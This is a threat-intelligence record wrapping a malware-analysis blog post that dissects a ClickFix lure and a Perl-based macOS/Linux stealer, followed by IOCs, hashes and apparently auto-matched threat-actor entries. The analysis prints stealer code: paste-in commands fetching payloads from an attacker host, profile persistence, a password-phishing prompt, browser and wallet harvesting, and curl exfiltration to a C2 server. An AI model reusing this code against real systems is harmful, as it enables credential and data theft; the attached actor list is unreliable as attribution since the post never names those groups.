{
	"id": "84493f2e-e62b-4c51-923a-da28d3d05685",
	"created_at": "2026-04-06T00:06:45.955662Z",
	"updated_at": "2026-04-10T03:37:09.101528Z",
	"deleted_at": null,
	"sha1_hash": "de9dec0c6d2a7d17bc8d0327dd9de214104f13ec",
	"title": "Perl based macOS/linux Stealer",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1719082,
	"plain_text": "Perl based macOS/linux Stealer\r\nBy Randy McEoin\r\nPublished: 2025-07-20 · Archived: 2026-04-02 10:59:27 UTC\r\nSummary\r\nA post on X about a ClickFix targeting linux lead to the discovery of a seemingly undocumented Perl-based\r\nmacOS/linux stealer.\r\nHere I will:\r\ndig into the ClickFix Javascript that targets not just Windows, but macOS and Linux\r\ndeobfuscate the Perl delivered by the ClickFix\r\ndescribe much of the Perl stealer\r\nPearl Stealer\r\nAs I have not found this stealer described anywhere else, it seems it needs a name. Unless it turns out that this is\r\nalready known by another name or it’s being sold under a name, I’m going to give it the name Pearl Stealer\r\nwith the obvious reference to Perl the primary language used by the stealer.\r\nMeet the Pearl Stealer\r\nLinux Clickfix X post\r\nhttps://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html\r\nPage 1 of 20\n\nThis research was inspired by a post on X about a Linux ClickFix.\r\nhttps://x.com/solostalking/status/1946058071928610950\r\nIn the screenshot shared by @solostalking is a website showing a typical ClickFix UI, but targeting a linux victim.\r\nThis was the first I’d seen a ClickFix designed for linux.\r\nClickFix\r\nThe website was dedicated to ClickFix. It did not appear to be an infected legitimate site but instead one purpose\r\nbuilt for ClickFix. There must be some other email or webpage the victim would have come from in order to get to\r\nhttps://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html\r\nPage 2 of 20\n\nthis page. Within it’s Javascript was logic to detect three different platforms: Windows, macOS, or Linux.\r\nlet detectOS = \"unknown\";\r\nif (navigator.userAgent.indexOf(\"Win\") != -1) {\r\n detectOS = \"win\";\r\n}\r\nif (navigator.userAgent.indexOf(\"Mac\") != -1) {\r\n detectOS = \"mac\";\r\n}\r\nif (navigator.userAgent.indexOf(\"Linux\") != -1) {\r\n detectOS = \"linux\";\r\n}\r\nThe X post showed the linux instructions. Here’s also the macOS instructions.\r\nClickFix checkbox\r\nDepending upon the platform detected the webpage would copy a small malicious script into the victim’s\r\nclipboard. Here is the Javascript that would perform that, with just a touch of defanging. We can see that the\r\nmacOS and linux scripts curl/wget from same host with a difference in path based on platform.\r\nhttps://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html\r\nPage 3 of 20\n\nif (detectOS == \"win\") {\r\n copyTextToClipboard(\"powershell -nop -w h -ep bypass -Command \\\"(\u0026((-join('S','tart','-B','itsTransfer'))) (-j\r\n} else if (detectOS == \"mac\") {\r\n copyTextToClipboard(\"nohup bash -c \\\"curl -sL cloudflare.blazing-cloud[.]com/mac/verify/captcha/\" + userId + \"\r\n} else if (detectOS == \"linux\") {\r\n copyTextToClipboard(\"sh -c 'wget -qO- cloudflare.blazing-cloud[.]com/linux/verify/captcha/\" + userId + \" | per\r\n}\r\nOn macOS when pasting the malicious script into the Terminal, the malicious part is cleverly not displayed due to\r\nthe series of newlines.\r\nClickFix terminal\r\nSocket for userId\r\nBoth the macOS and linux next stage downloads require a userId . The main webpage uses Socket.IO to issue a\r\njoin command to retreive this victim’s assigned userId .\r\nlet userId = localStorage.getItem(\"id\");\r\nsocket.on(\"connect\", () =\u003e {\r\nhttps://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html\r\nPage 4 of 20\n\nconsole.log(\"connected\");\r\n if (!userId) {\r\n socket.emit(\"join\", null, _0x56c07a =\u003e {\r\n localStorage.setItem(\"id\", _0x56c07a);\r\n userId = _0x56c07a;\r\n });\r\n } else {\r\n socket.emit(\"join\", userId, () =\u003e {});\r\n }\r\n});\r\nSo for example during one sandboxing pass the following was observed in the network requests.\r\nhttp://cloudflare.blazing-cloud[.]com/mac/verify/captcha/dj5fbdevxtib\r\nCross referencing that with the Javascript that performs the copyTextToClipboard() , we can deduce that the\r\nuserId for that session was dj5fbdevxtib .\r\nDeobfuscating Perl\r\nThe payload from the cloudflare.blazing-cloud[.]com host is piped to Perl. If we instead manually wget it, we\r\nend up with the initial Perl payload.\r\nInitial Perl payload\r\nThe Perl is obfuscated, but it’s not too difficult to deobfuscate.\r\nFirst, replace the eval eval with a single print , the file will look like this:\r\nhttps://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html\r\nPage 5 of 20\n\n^M\r\nour $user_id = \"dj5fbdevxtib\";\r\nprint '\"'.^M\r\n^M\r\nOn a sandboxed linux with network disabled, we can run the modified script to find out what that gobbledygook\r\nis.\r\nPerl payload modified\r\nThe output from the modified test perl prints different looking gobbledygook which starts and ends with double\r\nquotes. And we can see regular backslashes in front of certain characters like double-quotes and dollar signs. This\r\nlooks like an escaped string. So we need to print this in order to get the escaped items unescaped.\r\nSend the output to another file to tweak. Then edit the new file.\r\n$ perl dj5fbdevxtib-test1.pl \u003e dj5fbdevxtib-test2.pl\r\n$ vim dj5fbdevxtib-test2.pl\r\nWe can see that it would unpack the gobbledygook, then eval it. That would be dangerous to do.\r\nPerl eval unpack (DANGEROUS)\r\nWith just a minor tweak, we can instead eval a print of the unpacked gobbledygook. This is a subtle difference and\r\nif we goofed it up, it might actually run the malware. Thus we do this in a virtual sandbox with no network.\r\nhttps://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html\r\nPage 6 of 20\n\nPerl eval print (SAFE)\r\nRunning the eval print version we get a mostly deobfuscated Perl script.\r\nPerl payload mostly deobfuscated\r\nThere are still escaped strings.\r\nNo doubt there’s Perl way to do this, but Python is the way I solve problems now. Whipping up a quick Python\r\nunescape script will do the trick. This is what I landed on.\r\nimport sys\r\nif __name__ == \"__main__\":\r\n for line in sys.stdin:\r\n line = line.rstrip()\r\n line = line.replace(r'\\.', '.')\r\n line = line.replace(r'\\$', '$')\r\n line = line.replace(r'\\@', '@')\r\nhttps://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html\r\nPage 7 of 20\n\nline = line.encode('latin1').decode('unicode_escape').encode('latin1').decode('utf-8')\r\n print(line)\r\nUsing that we get a nice clean Perl.\r\n$ perl dj5fbdevxtib-test2.pl | python3 unescape.py \u003e dj5fbdevxtib-deobfuscated.pl\r\nVoilà! We now have the Perl script fully deobfuscated. And we’re in luck, it has all the original variable names. As\r\nwe’ll see this is a complete Perl-based stealer that targets macOS or linux.\r\nPerl deobfuscated\r\nStealer breakdown\r\nFirst thing of note is the IP address that we’ll see used to retreive additional payloads, API calls, and where stolen\r\ndata will be POST’d to.\r\nhttps://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html\r\nPage 8 of 20\n\nmy $ip = \"213.108.198.227\";\r\nIt downloads two payloads from the IP above: parallel and system.pl . These are saved in the victim’s home\r\ndirectory with a beginning dot so that in many circumstances it will be hidden.\r\nmy $ua = LWP::UserAgent-\u003enew;\r\n$ua-\u003eget(\"http://$ip/parallel\", \":content_file\" =\u003e \"$ENV{HOME}/.parallel\");\r\nsystem(\"chmod +x $ENV{HOME}/.parallel\");\r\n$ua-\u003eget(\"http://$ip/system.pl\", \":content_file\" =\u003e \"$ENV{HOME}/.system.pl\");\r\nsystem(\"chmod +x $ENV{HOME}/.parallel\");\r\nParallel is a standard GNU tool to run multiple shell jobs in parallel.\r\nsystem.pl creates a C2 channel that allows the threat actor to execute commands on the victim’s machine.\r\nNext if operating system does not contain the word darwin , then it will also download it’s own curl command\r\nto use instead of the OS provided curl .\r\nif ($^O !~ /darwin/) {\r\n $ua-\u003eget(\"http://$ip/curl\", \":content_file\" =\u003e \"$ENV{HOME}/.curl\");\r\n system(\"chmod +x $ENV{HOME}/.curl\");\r\n}\r\nOf note is how the stealer uses $^O to determine if the system is macOS or linux. On Ubuntu, the value is simply\r\nlinux .\r\n$ perl -e 'print($^O)'\r\nlinux\r\nOn macOS 10.15, the value is darwin .\r\n$ perl -e 'print($^O)'\r\ndarwin\r\nNext it curl’s the C2 with the path /start_process_data to let it know it has started up. The server will respond\r\nwith OK which just goes to /dev/null .\r\nif ($^O =~ /darwin/) {\r\n system(\"curl -v -m 120 --retry 8 \"http://$ip/start_process_data\" \u003e/dev/null 2\u003e\u00261\");\r\n} else {\r\nhttps://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html\r\nPage 9 of 20\n\nsystem(\"\"$ENV{HOME}/.curl\" -v -m 120 --retry 8 \"http://$ip/start_process_data\" \u003e/dev/null 2\u003e\u00261\");\r\n}\r\nThe next section uses api.ipify.org to try to get the victim’s current external IP. If that succeeds, it registers\r\nthat external IP with the C2 on port 8080 with path /get_ip/ .\r\nsub is_connected_or_unreachable {\r\n my $ip = shift;\r\n my $curl = ($^O =~ /darwin/) ? \"curl\" : \"\"$ENV{HOME}/.curl\"\";\r\n my $current_ip = `$curl -s --connect-timeout 3 https://api.ipify.org 2\u003e/dev/null`;\r\n chomp($current_ip);\r\n return 1 unless $current_ip;\r\n my $response = `$curl -s --connect-timeout 3 \"http://$ip:8080/get_ip/$current_ip\" 2\u003e/dev/null`;\r\n return 1 if $?;\r\n chomp($response);\r\n return ($response eq \"connected\") ? 1 : 0;\r\n}\r\nif (!is_connected_or_unreachable($ip)) {\r\n my $system_path = \"$ENV{HOME}/.system.pl\";\r\n system(\"perl $system_path \u0026\");\r\n}\r\nPersistence for linux\r\nNext, if not running macOS, then add persistence to the victim’s $HOME/.profile by appending a line to run the\r\ndownloaded system.pl .\r\nif ($^O !~ /darwin/) {\r\n my $home = $ENV{HOME};\r\n my $profile_path = $home . \"/.profile\";\r\n my $line_to_add = \"(nohup perl $home/.system.pl \u003e/dev/null 2\u003e\u00261 \u0026 disown) 2\u003e/dev/null\";\r\n open(my $profile_path_file, \"\u003c\", $profile_path) or die \"Cannot open $profile_path: $!\";\r\n my $found = 0;\r\n while (my $line = \u003c$profile_path_file\u003e) {\r\n chomp $line;\r\n if ($line =~ m|.system.pl|) {\r\n $found = 1;\r\n last;\r\nhttps://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html\r\nPage 10 of 20\n\n}\r\n }\r\n close($profile_path_file);\r\n if (!$found) {\r\n open(my $profile_path_file, \"\u003e\u003e\", $profile_path) or die \"Cannot append to $profile_path: $!\";\r\n print $profile_path_file \"\r\n\" . $line_to_add . \"\r\n\";\r\n close($profile_path_file);\r\n }\r\n} else {\r\n}\r\nEverything!!\r\nThe script uses a file named $ENV{HOME}/everything.txt to track every file it thinks might be interesting for\r\nexfiltration. Perhaps in case the stealer had run previously and crashed prior to finishing and removing this file, it\r\nstarts by deleting it.\r\nunlink(\"$ENV{HOME}/everything.txt\");\r\nPersistance for all\r\nFurther on, regardless of OS being run, it add persistence by adding system.pl to a variety of shell profile\r\nscripts.\r\nmy $home = $ENV{HOME};\r\nappend_if_not_exists(\"$home/.zshrc\", \"(nohup perl $home/.system.pl \u003e/dev/null 2\u003e\u00261 \u0026 disown) 2\u003e/dev/null\");\r\nappend_if_not_exists(\"$home/.bashrc\", \"(nohup perl $home/.system.pl \u003e/dev/null 2\u003e\u00261 \u0026 disown) 2\u003e/dev/null\");\r\nappend_if_not_exists(\"$home/.bash_profile\", \"(nohup perl $home/.system.pl \u003e/dev/null 2\u003e\u00261 \u0026 disown) 2\u003e/dev/null\"\r\nAsk for password on macOS\r\nOn macOS, the user is prompted to provide their password. Besides uploading the password to the C2, this will be\r\nused to run sudo to install a system level script for persistence.\r\nIt creates and runs a Perl script named /tmp/pw_script_$$.pl , where $$ is the PID.\r\nhttps://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html\r\nPage 11 of 20\n\nThe beginning of the pw_script\r\nThe pw_script uses AppleScript to prompt the victim to provide their local OS password. It takes that password,\r\ncreates a file that contains it, then uploads it to the C2 server as a file named password.txt .\r\nPerl to upload password\r\nNext, it creates a Perl script named /tmp/install_$$.pl to be run using sudo with the victim provided password.\r\nhttps://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html\r\nPage 12 of 20\n\ninstall script\r\nThe install script creates a bash script in the victim’s home directory named Apple Inc. which is used to launch\r\nthe already downloaded system.pl .\r\nNext it creates two arrays for candidate macOS browser paths and wallet paths.\r\n@browser_paths = (\r\n \"$app_support/Google/Chrome\",\r\n \"$app_support/BraveSoftware/Brave-Browser\",\r\n \"$app_support/Microsoft Edge\",\r\n \"$app_support/Vivaldi\",\r\n \"$app_support/Yandex/YandexBrowser\",\r\n \"$app_support/com.operasoftware.Opera\",\r\n \"$app_support/com.operasoftware.OperaGX\",\r\n \"$app_support/Google/Chrome Beta\",\r\n \"$app_support/Google/Chrome Canary\",\r\n \"$app_support/Google/Chrome Dev\",\r\n \"$app_support/Arc/User Data\",\r\nhttps://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html\r\nPage 13 of 20\n\n\"$app_support/CocCoc/Browser\"\r\n);\r\n@wallet_paths = (\r\n \"$ENV{HOME}/Exodus/exodus.wallet\",\r\n \"$ENV{HOME}/Coinomi/wallets\",\r\n \"$ENV{HOME}/Monero/wallets\",\r\n \"$ENV{HOME}/Guarda/Local Storage/leveldb\",\r\n \"$ENV{HOME}/atomic/Local Storage/leveldb\",\r\n \"$ENV{HOME}/Ledger Live\",\r\n \"$ENV{HOME}/Bitcoin/wallets\",\r\n \"$ENV{HOME}/Litecoin/wallets\",\r\n \"$ENV{HOME}/DashCore/wallets\",\r\n \"$ENV{HOME}/Dogecoin/wallets\",\r\n \"$ENV{HOME}/@trezor/suite-desktop\",\r\n \"$ENV{HOME}/.electrum/wallets\",\r\n \"$ENV{HOME}/.walletwasabi/client/Wallets\",\r\n \"$ENV{HOME}/.electrum-ltc/wallets\",\r\n \"$ENV{HOME}/.electron-cash/wallets\",\r\n \"$ENV{HOME}/@tonkeeper/desktop/config.json\",\r\n \"$ENV{HOME}/Binance/app-store.json\",\r\n \"$ENV{HOME}/discord/Local Storage\",\r\n \"$ENV{HOME}/discord/Local State\",\r\n \"$ENV{HOME}/Steam/config\",\r\n \"$ENV{HOME}/Telegram Desktop/tdata\",\r\n \"$ENV{HOME}/OpenVPN Connect/profiles\",\r\n \"$ENV{HOME}/.config/filezilla\",\r\n \"$app_support/Exodus/exodus.wallet\",\r\n \"$app_support/Coinomi/wallets\",\r\n \"$app_support/Monero/wallets\",\r\n \"$app_support/Guarda/Local Storage/leveldb\",\r\n \"$app_support/atomic/Local Storage/leveldb\",\r\n \"$app_support/Ledger Live\",\r\n \"$app_support/Bitcoin/wallets\",\r\n \"$app_support/Litecoin/wallets\",\r\n \"$app_support/DashCore/wallets\",\r\n \"$app_support/Dogecoin/wallets\",\r\n \"$app_support/@trezor/suite-desktop\",\r\n \"$app_support/@tonkeeper/desktop/config.json\",\r\n \"$app_support/Binance/app-store.json\",\r\n \"$app_support/discord/Local Storage\",\r\n \"$app_support/discord/Local State\",\r\n \"$app_support/Steam/config\",\r\n \"$app_support/Telegram Desktop/tdata\",\r\n \"$app_support/OpenVPN Connect/profiles\"\r\n);\r\nhttps://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html\r\nPage 14 of 20\n\nBack to linux\r\nNext if running linux, it downloads a binary named data_extracter from the C2 and executes it.\r\nmy $home = $ENV{HOME};\r\nsystem(\"$home/.curl -sL http://$ip/data_extracter -o $home/.data_extracter \u0026\u0026 chmod +x $home/.data_extracter \u0026\u0026\r\nWhen running the data_extracter it provides $identifier as the argument which was previously constructed\r\nas ${timestamp}_${uuid} . An example $identifier would be 20-Jul-14:11_ea9ccf57-17bc-40fd-8d07-\r\n3154ead9fd71 .\r\ndata_extracter is a compiled Python script. When run in a sandbox it prompted for a password for a new\r\nkeyring.\r\nnew keyring\r\nAlso noticed when running without an argument, it crashed and revealed that it was originally a Python script\r\nnamed data_extracter.py .\r\nhttps://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html\r\nPage 15 of 20\n\ntraceback\r\nWhen run in the sandbox with a well-formed identifier argument, besides prompting for a new keyring password,\r\nit printed that it checked several browsers. It crashed because it attempted to execute a non-existant .curl .\r\ndata_extracter\r\nInteresting files inventory\r\nFor both macOS and linux, it performs a find for a variety of file extensions within home folders that are standard\r\nfor Ubuntu. It appends the names of these files to a file named everything.txt . It does not gather these files just\r\nyet.\r\nmy $file_types = \"\\( -name \"*.txt\" -o -name \"*.docx\" -o -name \"*.rtf\" -o -name \"*.aar\" -o \" .\r\n \"-name \"*.zip\" -o -name \"*.rar\" -o -name \"*.doc\" -o -name \"*.wallet\" -o \" .\r\n \"-name \"*.keys\" -o -name \"*.key\" -o -name \"*.mp3\" -o -name \"*.m4a\" -o \" .\r\n \"-name \"*.jpg\" -o -name \"*.png\" -o -name \"*.jpeg\" -o -name \"*.pdf\" -o \" .\r\n \"-name \"*.xlsx\" -o -name \"*.asc\" -o -name \"*.conf\" -o -name \"*.dat\" -o \" .\r\n \"-name \"*.json\" -o -name \"*.kdbx\" -o -name \"*.ovpn\" -o -name \"*.pem\" -o \" .\r\n \"-name \"*.ppk\" -o -name \"*.rdp\" -o -name \"*.sql\" -o -name \"*.xls\" \\)\";\r\nsystem(\"find \"$ENV{HOME}/Desktop\" \"$ENV{HOME}/Downloads\" \"$ENV{HOME}/Pictures\" \"$ENV{HOME}/Documents\" \" .\r\n \"-maxdepth 3 -type f $file_types -size -5M -print \u003e\u003e \"$ENV{HOME}/everything.txt\"\");\r\nBrowser file inventory\r\nhttps://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html\r\nPage 16 of 20\n\nFor both macOS and linux, it rummages through a variety of browser paths. It looks for Chromium based browser\r\nfiles like Cookies and Login Data . For Firefox, it looks for files like cookies.sqlite and logins.json . It\r\nlooks for 266 different extension ids.\r\nAt this point it is not exfiltrating any of this data. Instead it just logs each file in the everything.txt file.\r\nsystem(\"find \"$profile_path\" -maxdepth 1 -type f \\( \" .\r\n \"-name \"Web Data\" -o -name \"History\" -o -name \"Cookies\" -o -name \"Login Data\" \" .\r\n \"\\) -print \u003e\u003e \"$ENV{HOME}/everything.txt\"\");\r\nforeach my $ext_id (@extension_ids) {\r\n my $ext_dir = \"$profile_path/Local Extension Settings/$ext_id\";\r\n if (-d $ext_dir) {\r\n system(\"find \"$ext_dir\" -type f -print \u003e\u003e \"$ENV{HOME}/everything.txt\"\");\r\n }\r\n}\r\nWallet file inventory\r\nNext it searches through any potential crypto wallet folders and logs any files found to everything.txt .\r\nforeach my $wallet_path (@wallet_paths) {\r\n if (-d $wallet_path) {\r\n system(\"find \"$wallet_path\" -type f -print \u003e\u003e \"$ENV{HOME}/everything.txt\"\");\r\n } elsif (-f $wallet_path) {\r\n open(my $fh, \"\u003e\u003e\", \"$ENV{HOME}/everything.txt\") or die \"Can't open file: $!\";\r\n print $fh \"$wallet_path\r\n\";\r\n close $fh;\r\n }\r\n}\r\nExfiltration\r\nAfter finding all interesting files, the script finally exfiltrates all the files specified in\r\n$ENV{HOME}/everything.txt . It does this using the downloaded parallel tool.\r\nif ($^O =~ /darwin/) {\r\n system(\"cat \"$ENV{HOME}/everything.txt\" |\r\n \"$ENV{HOME}/.parallel\" -j 50 'folder=$(dirname {}) \u0026\u0026\r\n curl -v -m 120 --retry 8 -F file=@{} -F \"dirPath=$folder\" $server' \u003e/dev/null 2\u003e\u00261\");\r\n} else {\r\n system(\"cat \"$ENV{HOME}/everything.txt\" |\r\n \"$ENV{HOME}/.parallel\" -j 50 'folder=$(dirname {}) \u0026\u0026\r\nhttps://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html\r\nPage 17 of 20\n\n\"$ENV{HOME}/.curl\" -v -m 120 --retry 8 -F file=@{} -F \"dirPath=$folder\" $server' \u003e/dev/null 2\u003e\u00261\");\r\n}\r\nInstead of uploading each file one by one, or creating a single large archive of the complete set of files, parallel is\r\nused to create at most 50 jobs that run in parallel to optimize the upload efficiency. This means there will be 50\r\ninstances of curl each uploading a single file. When an individual curl job is done, another curl job is initiated with\r\nthe next file.\r\n$server was defined at the beginning of the script and defines a unique identifier for this victim. So all the\r\nexfiltrated files will be uploaded to the C2 server at the path /util/upload_data/$identifier .\r\nmy $identifier = \"${timestamp}_${uuid}\";\r\nmy $server = \"http://$ip/util/upload_data/$identifier\";\r\nAfter all the files have been exfiltrated it lets the C2 know by curl’ing the C2 path\r\n/data_processed/$identifier .\r\nif ($^O =~ /darwin/) {\r\n system(\"curl -v -m 120 --retry 8 \"http://$ip/data_processed/$identifier\" \u003e/dev/null 2\u003e\u00261\");\r\n} else {\r\n system(\"\"$ENV{HOME}/.curl\" -v -m 120 --retry 8 \"http://$ip/data_processed/$identifier\" \u003e/dev/null 2\u003e\u00261\");\r\n}\r\nmacOS Notes Export\r\nNext, on macOS it creates an AppleScript named /tmp/simple_notes_export.applescript which is used to\r\nexport all Notes and attachments to a folder named NotesExport .\r\nhttps://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html\r\nPage 18 of 20\n\nupper portion of notes export\r\nIf the AppleScript successfully creates the NotesExport folder, that folder is exfiltrated using parallel and curl\r\nwith the same method used earlier.\r\nAfter that is complete a curl to the C2 at path /notes_processed/$identifier is performed.\r\nsystem(\"curl -v -m 120 --retry 8 \"http://$ip/notes_processed/$identifier\" \u003e/dev/null 2\u003e\u00261\");\r\nTriage\r\nA sandboxing of the initial URL with Triage yielded a 8 out of 10 threat. No detection of a stealer was made.\r\nhttps://tria.ge/250719-yctzgagj2x\r\nIOCs\r\nwww.madeinci[.]ci\r\n(ClickFix)\r\n -\u003e\r\nhttps://www.madeinci[.]ci/socket.io/?EIO=4\u0026transport=websocket\r\n -\u003e\r\nhttps://cloudflare.blazing-cloud[.]com/mac/verify/captcha/{userId}\r\nhttps://cloudflare.blazing-cloud[.]com/linux/verify/captcha/{userId}\r\nFiles Downloaded\r\nhttp://213.108.198[.]227/parallel\r\nhttp://213.108.198[.]227/system.pl\r\nhttp://213.108.198[.]227/curl\r\nhttp://213.108.198[.]227/fileicon.tar.gz\r\nhttp://213.108.198[.]227/data_extracter\r\nAPI endpoints\r\nhttps://blazing-cloud[.]com/mac/done/$main::user_id\r\nhttp://213.108.198[.]227/start_process_data\r\nhttp://213.108.198[.]227:8080/get_ip/$current_ip\r\nhttp://213.108.198[.]227/util/upload_data/$identifier\r\nhttp://213.108.198[.]227/data_processed/$identifier\r\nhttp://213.108.198[.]227/notes_processed/$identifier\r\nHashes\r\nhttps://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html\r\nPage 19 of 20\n\n50bc21ca2b8fcfd4d46d51d94ab1ac4450a25167a1607074695a7b048ce3c1b3 dj5fbdevxtib\r\neafa12df62f778180984cdbb510dabf8a3ad36a3d2cd250dad0ee12cdca1286f dj5fbdevxtib-deobfuscated.pl\r\n05c922345ab0113c55824a1b2c658b0149a88c4cf4fecc01bf2409bfd81bbca1 parallel\r\n7d3d2d0f17a5ddd1e9c32ad611a8c00bbd53088734784726cd4c6dcd44248a37 system.pl\r\nd18aa1f4e03b50b649491ca2c401cd8c5e89e72be91ff758952ad2ab5a83135d curl\r\n2f52ced92662bfc025db92787435e0d3f73469fe888973e62c8b5bd830e08e62 fileicon.tar.gz\r\n0d904998d082a51c27c05a23cd62b2f5f030a511af911110a814afffbe3fd1e4 data_extracter\r\nSource: https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html\r\nhttps://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html\r\nPage 20 of 20",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://rmceoin.github.io/malware-analysis/2025/07/20/pearl-stealer.html"
	],
	"report_names": [
		"pearl-stealer.html"
	],
	"threat_actors": [
		{
			"id": "d90307b6-14a9-4d0b-9156-89e453d6eb13",
			"created_at": "2022-10-25T16:07:23.773944Z",
			"updated_at": "2026-04-10T02:00:04.746188Z",
			"deleted_at": null,
			"main_name": "Lead",
			"aliases": [
				"Casper",
				"TG-3279"
			],
			"source_name": "ETDA:Lead",
			"tools": [
				"Agentemis",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"RbDoor",
				"RibDoor",
				"Winnti",
				"cobeacon"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "9f101d9c-05ea-48b9-b6f1-168cd6d06d12",
			"created_at": "2023-01-06T13:46:39.396409Z",
			"updated_at": "2026-04-10T02:00:03.312816Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"CHROMIUM",
				"ControlX",
				"TAG-22",
				"BRONZE UNIVERSITY",
				"AQUATIC PANDA",
				"RedHotel",
				"Charcoal Typhoon",
				"Red Scylla",
				"Red Dev 10",
				"BountyGlad"
			],
			"source_name": "MISPGALAXY:Earth Lusca",
			"tools": [
				"RouterGod",
				"SprySOCKS",
				"ShadowPad",
				"POISONPLUG",
				"Barlaiy",
				"Spyder",
				"FunnySwitch"
			],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "8941e146-3e7f-4b4e-9b66-c2da052ee6df",
			"created_at": "2023-01-06T13:46:38.402513Z",
			"updated_at": "2026-04-10T02:00:02.959797Z",
			"deleted_at": null,
			"main_name": "Sandworm",
			"aliases": [
				"IRIDIUM",
				"Blue Echidna",
				"VOODOO BEAR",
				"FROZENBARENTS",
				"UAC-0113",
				"Seashell Blizzard",
				"UAC-0082",
				"APT44",
				"Quedagh",
				"TEMP.Noble",
				"IRON VIKING",
				"G0034",
				"ELECTRUM",
				"TeleBots"
			],
			"source_name": "MISPGALAXY:Sandworm",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		},
		{
			"id": "f4f16213-7a22-4527-aecb-b964c64c2c46",
			"created_at": "2024-06-19T02:03:08.090932Z",
			"updated_at": "2026-04-10T02:00:03.6289Z",
			"deleted_at": null,
			"main_name": "GOLD NIAGARA",
			"aliases": [
				"Calcium ",
				"Carbanak",
				"Carbon Spider ",
				"FIN7 ",
				"Navigator ",
				"Sangria Tempest ",
				"TelePort Crew "
			],
			"source_name": "Secureworks:GOLD NIAGARA",
			"tools": [
				"Bateleur",
				"Carbanak",
				"Cobalt Strike",
				"DICELOADER",
				"DRIFTPIN",
				"GGLDR",
				"GRIFFON",
				"JSSLoader",
				"Meterpreter",
				"OFFTRACK",
				"PILLOWMINT",
				"POWERTRASH",
				"SUPERSOFT",
				"TAKEOUT",
				"TinyMet"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "3a0be4ff-9074-4efd-98e4-47c6a62b14ad",
			"created_at": "2022-10-25T16:07:23.590051Z",
			"updated_at": "2026-04-10T02:00:04.679488Z",
			"deleted_at": null,
			"main_name": "Energetic Bear",
			"aliases": [
				"ATK 6",
				"Blue Kraken",
				"Crouching Yeti",
				"Dragonfly",
				"Electrum",
				"Energetic Bear",
				"G0035",
				"Ghost Blizzard",
				"Group 24",
				"ITG15",
				"Iron Liberty",
				"Koala Team",
				"TG-4192"
			],
			"source_name": "ETDA:Energetic Bear",
			"tools": [
				"Backdoor.Oldrea",
				"CRASHOVERRIDE",
				"Commix",
				"CrackMapExec",
				"CrashOverride",
				"Dirsearch",
				"Dorshel",
				"Fertger",
				"Fuerboos",
				"Goodor",
				"Havex",
				"Havex RAT",
				"Hello EK",
				"Heriplor",
				"Impacket",
				"Industroyer",
				"Karagany",
				"Karagny",
				"LightsOut 2.0",
				"LightsOut EK",
				"Listrix",
				"Oldrea",
				"PEACEPIPE",
				"PHPMailer",
				"PsExec",
				"SMBTrap",
				"Subbrute",
				"Sublist3r",
				"Sysmain",
				"Trojan.Karagany",
				"WSO",
				"Webshell by Orb",
				"Win32/Industroyer",
				"Wpscan",
				"nmap",
				"sqlmap",
				"xFrost"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "a66438a8-ebf6-4397-9ad5-ed07f93330aa",
			"created_at": "2022-10-25T16:47:55.919702Z",
			"updated_at": "2026-04-10T02:00:03.618194Z",
			"deleted_at": null,
			"main_name": "IRON VIKING",
			"aliases": [
				"APT44 ",
				"ATK14 ",
				"BlackEnergy Group",
				"Blue Echidna ",
				"CTG-7263 ",
				"ELECTRUM ",
				"FROZENBARENTS ",
				"Hades/OlympicDestroyer ",
				"IRIDIUM ",
				"Qudedagh ",
				"Sandworm Team ",
				"Seashell Blizzard ",
				"TEMP.Noble ",
				"Telebots ",
				"Voodoo Bear "
			],
			"source_name": "Secureworks:IRON VIKING",
			"tools": [
				"BadRabbit",
				"BlackEnergy",
				"GCat",
				"NotPetya",
				"PSCrypt",
				"TeleBot",
				"TeleDoor",
				"xData"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
			"id": "18a7b52d-a1cd-43a3-8982-7324e3e676b7",
			"created_at": "2025-08-07T02:03:24.688416Z",
			"updated_at": "2026-04-10T02:00:03.734754Z",
			"deleted_at": null,
			"main_name": "BRONZE UNIVERSITY",
			"aliases": [
				"Aquatic Panda",
				"Aquatic Panda ",
				"CHROMIUM",
				"CHROMIUM ",
				"Charcoal Typhoon",
				"Charcoal Typhoon ",
				"Earth Lusca",
				"Earth Lusca ",
				"FISHMONGER ",
				"Red Dev 10",
				"Red Dev 10 ",
				"Red Scylla",
				"Red Scylla ",
				"RedHotel",
				"RedHotel ",
				"Tag-22",
				"Tag-22 "
			],
			"source_name": "Secureworks:BRONZE UNIVERSITY",
			"tools": [
				"Cobalt Strike",
				"Fishmaster",
				"FunnySwitch",
				"Spyder",
				"njRAT"
			],
			"source_id": "Secureworks",
			"reports": null
		},
		{
